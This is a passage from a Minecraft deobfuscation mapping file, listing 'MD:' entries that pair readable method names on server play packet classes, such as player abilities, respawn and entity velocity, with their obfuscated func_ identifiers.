net/minecraft/network/play/server/S14PacketEntity/toString ()Ljava/lang/String; net/minecraft/network/play/server/S14PacketEntity/toString ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S36PacketSignEditorOpen/getSignPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S36PacketSignEditorOpen/func_179777_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S36PacketSignEditorOpen/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S36PacketSignEditorOpen/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S36PacketSignEditorOpen/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S36PacketSignEditorOpen/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S36PacketSignEditorOpen/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S36PacketSignEditorOpen/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S36PacketSignEditorOpen/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S36PacketSignEditorOpen/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/isInvulnerable ()Z net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149112_c ()Z +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/setFlySpeed (F)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149104_a (F)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/setInvulnerable (Z)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149108_a (Z)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/isFlying ()Z net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149106_d ()Z +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/setWalkSpeed (F)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149110_b (F)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/setFlying (Z)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149102_b (Z)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/isAllowFlying ()Z net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149105_e ()Z +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/setAllowFlying (Z)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149109_c (Z)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/isCreativeMode ()Z net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149103_f ()Z +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/setCreativeMode (Z)V net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149111_d (Z)V +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/getFlySpeed ()F net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149101_g ()F +MD: net/minecraft/network/play/server/S39PacketPlayerAbilities/getWalkSpeed ()F net/minecraft/network/play/server/S39PacketPlayerAbilities/func_149107_h ()F +MD: net/minecraft/network/play/server/S42PacketCombatEvent$Event/values ()[Lnet/minecraft/network/play/server/S42PacketCombatEvent$Event; net/minecraft/network/play/server/S42PacketCombatEvent$Event/values ()[Lnet/minecraft/network/play/server/S42PacketCombatEvent$Event; +MD: net/minecraft/network/play/server/S42PacketCombatEvent/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S42PacketCombatEvent/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S42PacketCombatEvent/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S42PacketCombatEvent/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S42PacketCombatEvent/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S42PacketCombatEvent/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S42PacketCombatEvent/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S42PacketCombatEvent/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/values ()[Lnet/minecraft/network/play/server/S38PacketPlayerListItem$Action; net/minecraft/network/play/server/S38PacketPlayerListItem$Action/values ()[Lnet/minecraft/network/play/server/S38PacketPlayerListItem$Action; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/getProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/func_179962_a ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/getPing ()I net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/func_179963_b ()I +MD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/getGameMode ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/func_179960_c ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/func_179961_d ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/toString ()Ljava/lang/String; net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/toString ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/getEntries ()Ljava/util/List; net/minecraft/network/play/server/S38PacketPlayerListItem/func_179767_a ()Ljava/util/List; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S38PacketPlayerListItem/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S38PacketPlayerListItem/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S38PacketPlayerListItem/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/getAction ()Lnet/minecraft/network/play/server/S38PacketPlayerListItem$Action; net/minecraft/network/play/server/S38PacketPlayerListItem/func_179768_b ()Lnet/minecraft/network/play/server/S38PacketPlayerListItem$Action; +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S38PacketPlayerListItem/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S38PacketPlayerListItem/toString ()Ljava/lang/String; net/minecraft/network/play/server/S38PacketPlayerListItem/toString ()Ljava/lang/String; +MD: net/minecraft/command/IAdminCommand/notifyOperators (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;ILjava/lang/String;[Ljava/lang/Object;)V net/minecraft/command/IAdminCommand/func_152372_a (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;ILjava/lang/String;[Ljava/lang/Object;)V +MD: net/minecraft/network/play/server/S0APacketUseBed/getBedPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/network/play/server/S0APacketUseBed/func_179798_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/play/server/S0APacketUseBed/getPlayer (Lnet/minecraft/world/World;)Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/network/play/server/S0APacketUseBed/func_149091_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/network/play/server/S0APacketUseBed/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0APacketUseBed/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S0APacketUseBed/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S0APacketUseBed/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S0APacketUseBed/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S0APacketUseBed/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S0APacketUseBed/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S0APacketUseBed/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S13PacketDestroyEntities/getEntityIDs ()[I net/minecraft/network/play/server/S13PacketDestroyEntities/func_149098_c ()[I +MD: net/minecraft/network/play/server/S13PacketDestroyEntities/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S13PacketDestroyEntities/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S13PacketDestroyEntities/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S13PacketDestroyEntities/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S13PacketDestroyEntities/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S13PacketDestroyEntities/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S13PacketDestroyEntities/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S13PacketDestroyEntities/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/getEntityId ()I net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/func_149076_c ()I +MD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/getEffectId ()I net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/func_149075_d ()I +MD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S48PacketResourcePackSend/getURL ()Ljava/lang/String; net/minecraft/network/play/server/S48PacketResourcePackSend/func_179783_a ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S48PacketResourcePackSend/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S48PacketResourcePackSend/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S48PacketResourcePackSend/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S48PacketResourcePackSend/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S48PacketResourcePackSend/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S48PacketResourcePackSend/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S48PacketResourcePackSend/getHash ()Ljava/lang/String; net/minecraft/network/play/server/S48PacketResourcePackSend/func_179784_b ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S48PacketResourcePackSend/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S48PacketResourcePackSend/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S07PacketRespawn/getDimensionID ()I net/minecraft/network/play/server/S07PacketRespawn/func_149082_c ()I +MD: net/minecraft/network/play/server/S07PacketRespawn/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S07PacketRespawn/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S07PacketRespawn/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S07PacketRespawn/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S07PacketRespawn/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S07PacketRespawn/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S07PacketRespawn/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/network/play/server/S07PacketRespawn/func_149081_d ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/network/play/server/S07PacketRespawn/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S07PacketRespawn/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S07PacketRespawn/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/network/play/server/S07PacketRespawn/func_149083_e ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/network/play/server/S07PacketRespawn/getWorldType ()Lnet/minecraft/world/WorldType; net/minecraft/network/play/server/S07PacketRespawn/func_149080_f ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/network/play/server/S19PacketEntityHeadLook/getYaw ()B net/minecraft/network/play/server/S19PacketEntityHeadLook/func_149380_c ()B +MD: net/minecraft/network/play/server/S19PacketEntityHeadLook/getEntity (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/server/S19PacketEntityHeadLook/func_149381_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/server/S19PacketEntityHeadLook/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S19PacketEntityHeadLook/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S19PacketEntityHeadLook/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S19PacketEntityHeadLook/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S19PacketEntityHeadLook/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S19PacketEntityHeadLook/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S19PacketEntityHeadLook/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S19PacketEntityHeadLook/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/values ()[Lnet/minecraft/network/play/server/S44PacketWorldBorder$Action; net/minecraft/network/play/server/S44PacketWorldBorder$Action/values ()[Lnet/minecraft/network/play/server/S44PacketWorldBorder$Action; +MD: net/minecraft/network/play/server/S44PacketWorldBorder/func_179788_a (Lnet/minecraft/world/border/WorldBorder;)V net/minecraft/network/play/server/S44PacketWorldBorder/func_179788_a (Lnet/minecraft/world/border/WorldBorder;)V +MD: net/minecraft/network/play/server/S44PacketWorldBorder/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S44PacketWorldBorder/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S44PacketWorldBorder/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S44PacketWorldBorder/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S44PacketWorldBorder/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S44PacketWorldBorder/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S44PacketWorldBorder/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S44PacketWorldBorder/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S43PacketCamera/getEntity (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/network/play/server/S43PacketCamera/func_179780_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/network/play/server/S43PacketCamera/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S43PacketCamera/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S43PacketCamera/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S43PacketCamera/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S43PacketCamera/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S43PacketCamera/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S43PacketCamera/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S43PacketCamera/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S09PacketHeldItemChange/getHeldItemHotbarIndex ()I net/minecraft/network/play/server/S09PacketHeldItemChange/func_149385_c ()I +MD: net/minecraft/network/play/server/S09PacketHeldItemChange/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S09PacketHeldItemChange/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S09PacketHeldItemChange/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S09PacketHeldItemChange/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S09PacketHeldItemChange/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S09PacketHeldItemChange/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S09PacketHeldItemChange/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S09PacketHeldItemChange/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_149371_c ()I net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_149371_c ()I +MD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_149370_d ()Ljava/lang/String; net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_149370_d ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S3DPacketDisplayScoreboard/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1CPacketEntityMetadata/func_149376_c ()Ljava/util/List; net/minecraft/network/play/server/S1CPacketEntityMetadata/func_149376_c ()Ljava/util/List; +MD: net/minecraft/network/play/server/S1CPacketEntityMetadata/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1CPacketEntityMetadata/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1CPacketEntityMetadata/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S1CPacketEntityMetadata/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S1CPacketEntityMetadata/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S1CPacketEntityMetadata/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S1CPacketEntityMetadata/getEntityId ()I net/minecraft/network/play/server/S1CPacketEntityMetadata/func_149375_d ()I +MD: net/minecraft/network/play/server/S1CPacketEntityMetadata/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1CPacketEntityMetadata/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/getLeash ()I net/minecraft/network/play/server/S1BPacketEntityAttach/func_149404_c ()I +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1BPacketEntityAttach/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S1BPacketEntityAttach/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S1BPacketEntityAttach/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/getEntityId ()I net/minecraft/network/play/server/S1BPacketEntityAttach/func_149403_d ()I +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1BPacketEntityAttach/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1BPacketEntityAttach/getVehicleEntityId ()I net/minecraft/network/play/server/S1BPacketEntityAttach/func_149402_e ()I +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/getEntityID ()I net/minecraft/network/play/server/S12PacketEntityVelocity/func_149412_c ()I +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S12PacketEntityVelocity/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S12PacketEntityVelocity/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S12PacketEntityVelocity/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/getMotionX ()I net/minecraft/network/play/server/S12PacketEntityVelocity/func_149411_d ()I +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S12PacketEntityVelocity/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/getMotionY ()I net/minecraft/network/play/server/S12PacketEntityVelocity/func_149410_e ()I +MD: net/minecraft/network/play/server/S12PacketEntityVelocity/getMotionZ ()I net/minecraft/network/play/server/S12PacketEntityVelocity/func_149409_f ()I +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/getItemStack ()Lnet/minecraft/item/ItemStack; net/minecraft/network/play/server/S04PacketEntityEquipment/func_149390_c ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S04PacketEntityEquipment/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S04PacketEntityEquipment/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S04PacketEntityEquipment/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/getEntityID ()I net/minecraft/network/play/server/S04PacketEntityEquipment/func_149389_d ()I +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S04PacketEntityEquipment/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S04PacketEntityEquipment/getEquipmentSlot ()I net/minecraft/network/play/server/S04PacketEntityEquipment/func_149388_e ()I +MD: net/minecraft/network/play/server/S1FPacketSetExperience/func_149397_c ()F net/minecraft/network/play/server/S1FPacketSetExperience/func_149397_c ()F +MD: net/minecraft/network/play/server/S1FPacketSetExperience/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1FPacketSetExperience/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1FPacketSetExperience/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S1FPacketSetExperience/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S1FPacketSetExperience/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S1FPacketSetExperience/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S1FPacketSetExperience/getTotalExperience ()I net/minecraft/network/play/server/S1FPacketSetExperience/func_149396_d ()I +MD: net/minecraft/network/play/server/S1FPacketSetExperience/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S1FPacketSetExperience/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S1FPacketSetExperience/getLevel ()I net/minecraft/network/play/server/S1FPacketSetExperience/func_149395_e ()I +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/getHealth ()F net/minecraft/network/play/server/S06PacketUpdateHealth/func_149332_c ()F +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S06PacketUpdateHealth/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/play/server/S06PacketUpdateHealth/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/processPacket (Lnet/minecraft/network/play/INetHandlerPlayClient;)V net/minecraft/network/play/server/S06PacketUpdateHealth/func_148833_a (Lnet/minecraft/network/play/INetHandlerPlayClient;)V +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/getFoodLevel ()I net/minecraft/network/play/server/S06PacketUpdateHealth/func_149330_d ()I +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/play/server/S06PacketUpdateHealth/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/play/server/S06PacketUpdateHealth/getSaturationLevel ()F net/minecraft/network/play/server/S06PacketUpdateHealth/func_149331_e ()F +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_149339_c ()Ljava/lang/String; net/minecraft/network/play/server/S3BPacketScoreboardObjective/func_149339_c ()Ljava/lang/String; +MD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/readPacketData (Lnet/minecraft/network/PacketBuffer;)V 